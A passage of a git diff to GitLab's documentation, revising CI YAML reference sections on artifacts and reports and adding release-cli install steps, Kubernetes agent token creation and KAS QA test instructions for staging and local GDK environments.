in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) +GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) +in GitLab 13.4. + +In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior at the project level in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/276583), you can [disable this behavior instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). + #### `artifacts:expose_as` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5. @@ -3210,7 +3381,8 @@ test: ``` With this configuration, GitLab adds a link **artifact 1** to the relevant merge request -that points to `file1.txt`. +that points to `file1.txt`. To access the link, select **View exposed artifact** +below the pipeline graph in the merge request overview. An example that matches an entire directory: @@ -3227,7 +3399,7 @@ Note the following: - Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`. - A maximum of 10 job artifacts per merge request can be exposed. - Glob patterns are unsupported. -- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#browsing-artifacts) if there is more than +- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than one file in the directory. - For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`, and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is: @@ -3311,197 +3483,397 @@ job: - binaries/ ``` -#### `artifacts:untracked` +#### `artifacts:paths` -Use `artifacts:untracked` to add all Git untracked files as artifacts (along -with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration -in the repository's `.gitignore` file. +Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly +link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +patterns and: -Send all Git untracked files: +- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, +[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). +- In GitLab Runner 12.10 and earlier, +[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). -```yaml -artifacts: - untracked: true -``` +To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies). -Send all Git untracked files and files in `binaries`: +Send all files in `binaries` and `.config`: ```yaml artifacts: - untracked: true paths: - binaries/ + - .config ``` -Send all untracked files but [exclude](#artifactsexclude) `*.txt`: +To disable artifact passing, define the job with empty [dependencies](#dependencies): ```yaml -artifacts: - untracked: true - exclude: - - "*.txt" +job: + stage: build + script: make build + dependencies: [] ``` -#### `artifacts:when` +You may want to create artifacts only for tagged releases to avoid filling the +build server storage with temporary build artifacts. -Use `artifacts:when` to upload artifacts on job failure or despite the -failure. +Create artifacts only for tags (`default-job` doesn't create artifacts): -`artifacts:when` can be set to one of the following values: +```yaml +default-job: + script: + - mvn test -U + except: + - tags -1. `on_success` (default): Upload artifacts only when the job succeeds. -1. `on_failure`: Upload artifacts only when the job fails. -1. `always`: Always upload artifacts. +release-job: + script: + - mvn package -U + artifacts: + paths: + - target/*.war + only: + - tags +``` -For example, to upload artifacts only when a job fails: +You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: ```yaml job: artifacts: - when: on_failure + paths: + - path/*xyz/* ``` -#### `artifacts:expire_in` +#### `artifacts:public` -Use `expire_in` to specify how long artifacts are active before they -expire and are deleted. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. -The expiration time period begins when the artifact is uploaded and -stored on GitLab. If the expiry time is not defined, it defaults to the -[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) -(30 days by default). +Use `artifacts:public` to determine whether the job artifacts should be +publicly available. -To override the expiration date and protect artifacts from being automatically deleted: +The default for `artifacts:public` is `true` which means that the artifacts in +public pipelines are available for download by anonymous and guest users: -- Use the **Keep** button on the job page. -- Set the value of `expire_in` to `never`. [Available](https://gitlab.com/gitlab-org/gitlab/-/issues/22761) - in GitLab 13.3 and later. +```yaml +artifacts: + public: true +``` -After their expiry, artifacts are deleted hourly by default (via a cron job), -and are not accessible anymore. +To deny read access for anonymous and guest users to artifacts in public +pipelines, set `artifacts:public` to `false`: -The value of `expire_in` is an elapsed time in seconds, unless a unit is -provided. Examples of valid values: +```yaml +artifacts: + public: false +``` -- `'42'` -- `42 seconds` -- `3 mins 4 sec` -- `2 hrs 20 min` -- `2h20min` -- `6 mos 1 day` -- `47 yrs 6 mos and 4d` -- `3 weeks and 2 days` -- `never` +#### `artifacts:reports` -To expire artifacts 1 week after being uploaded: +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. +> - Requires GitLab Runner 11.2 and above. + +Use [`artifacts:reports`](#artifactsreports) +to collect test reports, code quality reports, and security reports from jobs. +It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). + +The test reports are collected regardless of the job results (success or failure). +You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration +date for their artifacts. + +If you also want the ability to browse the report output files, include the +[`artifacts:paths`](#artifactspaths) keyword. + +##### `artifacts:reports:api_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) +as artifacts. + +The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +##### `artifacts:reports:cobertura` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. +> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. + +The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md). +The collected Cobertura coverage reports upload to GitLab as an artifact +and display in merge requests. + +Cobertura was originally developed for Java, but there are many +third party ports for other languages like JavaScript, Python, Ruby, and so on. + +##### `artifacts:reports:codequality` + +> - Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.5. +> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2. +> - Requires GitLab Runner 11.5 and above. + +The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md) +as artifacts. + +The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests. + +##### `artifacts:reports:container_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md) +as artifacts. + +The collected Container Scanning report uploads to GitLab as an artifact and +is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) +as artifacts. + +The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +##### `artifacts:reports:dast` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md) +as artifacts. + +The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:dependency_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md) +as artifacts. + +The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:dotenv` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9. +> - Requires GitLab Runner 11.5 and later. + +The `dotenv` report collects a set of environment variables as artifacts. + +The collected variables are registered as runtime-created variables of the job, +which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes). + +There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules): + +- The variable key can contain only letters, digits, and underscores (`_`). +- The maximum size of the `.env` file is 5 KB. +- In GitLab 13.5 and older, the maximum number of inherited variables is 10. +- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913), + the maximum number of inherited variables is 20. +- Variable substitution in the `.env` file is not supported. +- The `.env` file can't have empty lines or comments (starting with `#`). +- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes. +- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported. + +##### `artifacts:reports:junit` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. +> - Requires GitLab Runner 11.2 and above. + +The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) +as artifacts. Although JUnit was originally developed in Java, there are many +third party ports for other +languages like JavaScript, Python, Ruby, and so on. + +See [Unit test reports](../unit_test_reports.md) for more details and examples. +Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: ```yaml -job: +rspec: + stage: test + script: + - bundle install + - rspec --format RspecJunitFormatter --out rspec.xml artifacts: - expire_in: 1 week + reports: + junit: rspec.xml ``` -The latest artifacts for refs are locked against deletion, and kept regardless of -the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) -GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) -in GitLab 13.4. +The collected Unit test reports upload to GitLab as an artifact and display in merge requests. -In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior at the project level in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/276583), you can [disable this behavior instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). +If the JUnit tool you use exports to multiple XML files, specify +multiple test report paths within a single job to +concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`), +an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a +combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). -#### `artifacts:reports` +##### `artifacts:reports:license_management` **(ULTIMATE)** -Use [`artifacts:reports`](../pipelines/job_artifacts.md#artifactsreports) -to collect test reports, code quality reports, and security reports from jobs. -It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. -These are the available report types: - -| Keyword | Description | -|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| -| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects Code Quality issues. | -| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | -| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | -| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | -| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | -| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | -| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | -| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | -| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) | The `sast` report collects Static Application Security Testing vulnerabilities. | -| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | +WARNING: +This artifact is still valid but is **deprecated** in favor of the +[artifacts:reports:license_scanning](#artifactsreportslicense_scanning) +introduced in GitLab 12.8. -#### `dependencies` +The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) +as artifacts. -By default, all [`artifacts`](#artifacts) from previous [stages](#stages) -are passed to each job. However, you can use the `dependencies` keyword to -define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. +The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. -To use this feature, define `dependencies` in context of the job and pass -a list of all previous jobs the artifacts should be downloaded from. +##### `artifacts:reports:license_scanning` **(ULTIMATE)** -You can define jobs from stages that were executed before the current one. -An error occurs if you define jobs from the current or an upcoming stage. +> - Introduced in GitLab 12.8. +> - Requires GitLab Runner 11.5 and above. -To prevent a job from downloading artifacts, define an empty array. +The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md) +as artifacts. -When you use `dependencies`, the status of the previous job is not considered. -If a job fails or it's a manual job that isn't triggered, no error occurs. +The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security +dashboards. -The following example defines two jobs with artifacts: `build:osx` and -`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx` -are downloaded and extracted in the context of the build. The same happens -for `test:linux` and artifacts from `build:linux`. +##### `artifacts:reports:load_performance` **(PREMIUM)** -The job `deploy` downloads artifacts from all previous jobs because of -the [stage](#stages) precedence: +> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. +> - Requires GitLab Runner 11.5 and above. + +The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md) +as artifacts. + +The report is uploaded to GitLab as an artifact and is +shown in merge requests automatically. + +##### `artifacts:reports:metrics` **(PREMIUM)** + +> Introduced in GitLab 11.10. + +The `metrics` report collects [Metrics](../metrics_reports.md) +as artifacts. + +The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. + +##### `artifacts:reports:performance` **(PREMIUM)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) +as artifacts. + +The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. + +##### `artifacts:reports:requirements` **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1. +> - Requires GitLab Runner 11.5 and above. + +The `requirements` report collects `requirements.json` files as artifacts. + +The collected Requirements report uploads to GitLab as an artifact and +existing [requirements](../../user/project/requirements/index.md) are +marked as Satisfied. + +##### `artifacts:reports:sast` + +> - Introduced in GitLab 11.5. +> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3. +> - Requires GitLab Runner 11.5 and above. + +The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md) +as artifacts. + +The collected SAST report uploads to GitLab as an artifact and is summarized +in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:secret_detection` + +> - Introduced in GitLab 13.1. +> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab + 13.3. +> - Requires GitLab Runner 11.5 and above. + +The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md) +as artifacts. + +The collected Secret Detection report is uploaded to GitLab as an artifact and summarized +in the merge requests and pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:terraform` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0. +> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. + +The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform +plan report uploads to GitLab as an artifact and displays +in merge requests. For more information, see +[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md). + +#### `artifacts:untracked` + +Use `artifacts:untracked` to add all Git untracked files as artifacts (along +with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration +in the repository's `.gitignore` file. + +Send all Git untracked files: ```yaml -build:osx: - stage: build - script: make build:osx - artifacts: - paths: - - binaries/ +artifacts: + untracked: true +``` -build:linux: - stage: build - script: make build:linux - artifacts: - paths: - - binaries/ +Send all Git untracked files and files in `binaries`: -test:osx: - stage: test - script: make test:osx - dependencies: - - build:osx +```yaml +artifacts: + untracked: true + paths: + - binaries/ +``` -test:linux: - stage: test - script: make test:linux - dependencies: - - build:linux +Send all untracked files but [exclude](#artifactsexclude) `*.txt`: -deploy: - stage: deploy - script: make deploy +```yaml +artifacts: + untracked: true + exclude: + - "*.txt" ``` -##### When a dependent job fails +#### `artifacts:when` -> Introduced in GitLab 10.3. +Use `artifacts:when` to upload artifacts on job failure or despite the +failure. -If the artifacts of the job that is set as a dependency are -[expired](#artifactsexpire_in) or -[erased](../pipelines/job_artifacts.md#erasing-artifacts), then -the dependent job fails. +`artifacts:when` can be set to one of the following values: -You can ask your administrator to -[flip this switch](../../administration/job_artifacts.md#validation-for-dependencies) -and bring back the old behavior. +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. + +For example, to upload artifacts only when a job fails: + +```yaml +job: + artifacts: + when: on_failure +``` ### `coverage` @@ -4089,6 +4461,8 @@ finishes. > [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2. Use `release` to create a [release](../../user/project/releases/index.md). +Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs) +to be available in your GitLab Runner Docker or shell executor. These keywords are supported: @@ -4110,6 +4484,99 @@ You must specify the Docker image to use for the `release-cli`: image: registry.gitlab.com/gitlab-org/release-cli:latest ``` +#### `release-cli` for shell executors + +> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8. + +For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html). +Once installed, the `release` keyword should be available to you. + +**Install on Unix/Linux** + +1. Download the binary for your system, in the following example for amd64 systems: + + ```shell + curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64" + ``` + +1. Give it permissions to execute: + + ```shell + sudo chmod +x /usr/local/bin/release-cli + ``` + +1. Verify `release-cli` is available: + + ```shell + $ release-cli -v + + release-cli version 0.6.0 + ``` + +**Install on Windows PowerShell** + +1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin` + + ```shell + New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory + ``` + +1. Download the executable file: + + ```shell + PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe" + + Directory: C:\GitLab\Release-CLI + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 3/16/2021 4:17 AM bin + + ``` + +1. Add the directory to your `$env:PATH`: + + ```shell + $env:PATH += ";C:\GitLab\Release-CLI\bin" + ``` + +1. Verify `release-cli` is available: + + ```shell + PS C:\> release-cli -v + + release-cli version 0.6.0 + ``` + +#### Use a custom SSL CA certificate authority + +You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, +which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates. +The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the +[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1) +or the `path/to/file` containing the certificate authority. +For example, to configure this value in the `.gitlab-ci.yml` file, use the following: + +```yaml +release: + variables: + ADDITIONAL_CA_CERT_BUNDLE: | + -----BEGIN CERTIFICATE----- + MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB + ... + jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= + -----END CERTIFICATE----- + script: + - echo "Create release" + release: + name: 'My awesome release' + tag_name: '$CI_COMMIT_TAG' +``` + +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a +[custom variable in the UI](../variables/README.md#custom-cicd-variables), +either as a `file`, which requires the path to the certificate, or as a variable, +which requires the text representation of the certificate. + #### `script` All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` @@ -4197,7 +4664,7 @@ job: #### `release:ref` -If the `release: tag_name` doesn’t exist yet, the release is created from `ref`. +If the `release: tag_name` doesn't exist yet, the release is created from `ref`. `ref` can be a commit SHA, another tag name, or a branch name. #### `release:milestones` @@ -4510,10 +4977,10 @@ meaning it applies to all jobs. If you define a variable in a job, it's availabl to that job only. If a variable of the same name is defined globally and for a specific job, the -[job-specific variable overrides the global variable](../variables/README.md#priority-of-cicd-variables). +[job-specific variable overrides the global variable](../variables/README.md#cicd-variable-precedence). All YAML-defined variables are also set to any linked -[Docker service containers](../docker/using_docker_images.md#what-is-a-service). +[Docker service containers](../services/index.md). You can use [YAML anchors for variables](#yaml-anchors-for-variables). @@ -4820,7 +5287,7 @@ reused in the `test` job: - !reference [.teardown, after_script] ``` -In the following example, `test-vars-1` reuses the all the variables in `.vars`, while `test-vars-2` +In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2` selects a specific variable and reuses it as a new `MY_VAR` variable. ```yaml @@ -4888,13 +5355,14 @@ Use [`default:`](#custom-default-keyword-values) instead. For example: ```yaml default: - image: ruby:2.5 + image: ruby:3.0 services: - docker:dind cache: paths: [vendor/] before_script: - - bundle install --path vendor/ + - bundle config set path vendor/bundle + - bundle install after_script: - rm -rf tmp/ ``` diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md index 851c9776c45..2993e077268 100644 --- a/doc/ci/yaml/gitlab_ci_yaml.md +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -76,7 +76,7 @@ branch in the project. GitLab CI/CD not only executes the jobs but also shows you what's happening during execution, just as you would see in your terminal: - + You create the strategy for your app and GitLab runs the pipeline according to what you've defined. Your pipeline status is also diff --git a/doc/ci/yaml/img/job_running.png b/doc/ci/yaml/img/job_running.png Binary files differdeleted file mode 100644 index efd138fd4f8..00000000000 --- a/doc/ci/yaml/img/job_running.png +++ /dev/null diff --git a/doc/ci/yaml/img/job_running_v13_10.png b/doc/ci/yaml/img/job_running_v13_10.png Binary files differnew file mode 100644 index 00000000000..b1f21b8445f --- /dev/null +++ b/doc/ci/yaml/img/job_running_v13_10.png diff --git a/doc/development/README.md b/doc/development/README.md index 43ceb737dde..3b6eb068c13 100644 --- a/doc/development/README.md +++ b/doc/development/README.md @@ -176,6 +176,7 @@ In these cases, use the following workflow: - [Working with the GitHub importer](github_importer.md) - [Import/Export development documentation](import_export.md) - [Test Import Project](import_project.md) +- [Group migration](bulk_import.md) - [Elasticsearch integration docs](elasticsearch.md) - [Working with Merge Request diffs](diffs.md) - [Kubernetes integration guidelines](kubernetes.md) @@ -262,7 +263,7 @@ See [database guidelines](database/index.md). - [Product Intelligence guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/) - [Usage Ping guide](usage_ping/index.md) -- [Snowplow guide](snowplow.md) +- [Snowplow guide](snowplow/index.md) ## Experiment guide diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md index 49d20d2fd87..83af4318de9 100644 --- a/doc/development/agent/identity.md +++ b/doc/development/agent/identity.md @@ -92,3 +92,15 @@ GitLab provides the following information in its response for a given Agent acce - Agent configuration Git repository. (The agent doesn't support per-folder authorization.) - Agent name. + +## Create an agent + +You can create an agent by following the [user documentation](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab), or via Rails console: + +```ruby +project = ::Project.find_by_full_path("path-to/your-configuration-project") +# agent-name should be the same as specified above in the config.yaml +agent = ::Clusters::Agent.create(name: "<agent-name>", project: project) +token = ::Clusters::AgentToken.create(agent: agent) +token.token # this will print out the token you need to use on the next step +``` diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md index 603364567bf..670315db3a8 100644 --- a/doc/development/agent/local.md +++ b/doc/development/agent/local.md @@ -98,3 +98,58 @@ bazel test //internal/module/gitops/server:server_test - Bazel documentation about [specifying targets to build](https://docs.bazel.build/versions/master/guide.html#specifying-targets-to-build). - [The Bazel query](https://docs.bazel.build/versions/master/query.html) - [Bazel query how to](https://docs.bazel.build/versions/master/query-how-to.html) + +## KAS QA tests + +This section describes how to run KAS tests against different GitLab environments based on the +[GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa). + +### Status + +The `kas` QA tests currently have some limitations. You can run them manually on GDK, but they don't +run automatically with the nightly jobs against the live environment. See the section below +to learn how to run them against different environments. + +### Prepare + +Before performing any of these tests, if you have a `k3s` instance running, make sure to +stop it manually before running them. Otherwise, the tests might fail with the message +`failed to remove k3s cluster`. + +You might need to specify the correct Agent image version that matches the `kas` image version. You can use the `GITLAB_AGENTK_VERSION` local env for this. + +### Against `staging` + +1. Go to your local `qa/qa/service/cluster_provider/k3s.rb` and comment out + [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L8) and + [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L36). + We don't allow local connections on `staging` as they require an admin user. +1. Ensure you don't have an `EE_LICENSE` env var set as this would force an admin login. +1. Go to your GDK root folder and `cd gitlab/qa`. +1. Login with your user in staging and create a group to be used as sandbox. + Something like: `username-qa-sandbox`. +1. Create an access token for your user with the `api` permission. +1. Replace the values given below with your own and run: + + ```shell + GITLAB_SANDBOX_NAME="<THE GROUP ID YOU CREATED ON STEP 2>" \ + GITLAB_QA_ACCESS_TOKEN="<THE ACCESS TOKEN YOU CREATED ON STEP 3>" \ + GITLAB_USERNAME="<YOUR STAGING USERNAME>" \ + GITLAB_PASSWORD="<YOUR STAGING PASSWORD>" \ + bundle exec bin/qa Test::Instance::All https://staging.gitlab.com -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb + ``` + +### Against GDK + +1. Go to your `qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb` and comment out [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L27) and uncomment [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L28). + GDK's `kas` listens on `grpc`, not on `wss`. +1. Go to the GDK's root folder and `cd gitlab/qa`. +1. On the contrary to staging, run the QA test in GDK as admin, which is the default choice. To do so, use the default sandbox group and run the command below. Make sure to adjust your credentials if necessary, otherwise, the test might fail: + + ```shell + GITLAB_USERNAME=root \ + GITLAB_PASSWORD="5iveL\!fe" \ + GITLAB_ADMIN_USERNAME=root \ + GITLAB_ADMIN_PASSWORD="5iveL\!fe" \ + bundle exec bin/qa Test::Instance::All http://gdk.test:3000 -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb + ``` diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index 8bac02c99af..6256610ae6a 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -392,6 +392,28 @@ field :blob, type: Types::Snippets::BlobType, This will increment the [`complexity` score](#field-complexity) of the field by `1`. +If a resolver calls Gitaly, it can be annotated with +`BaseResolver.calls_gitaly!`. This passes `calls_gitaly: true` to any +field that uses this resolver. + +For example: + +```ruby +class BranchResolver < BaseResolver + type ::Types::BranchType, null: true + calls_gitaly! + + argument name: ::GraphQL::STRING_TYPE, required: true + + def resolve(name:) + object.branch(name) + end +end +``` + +Then when 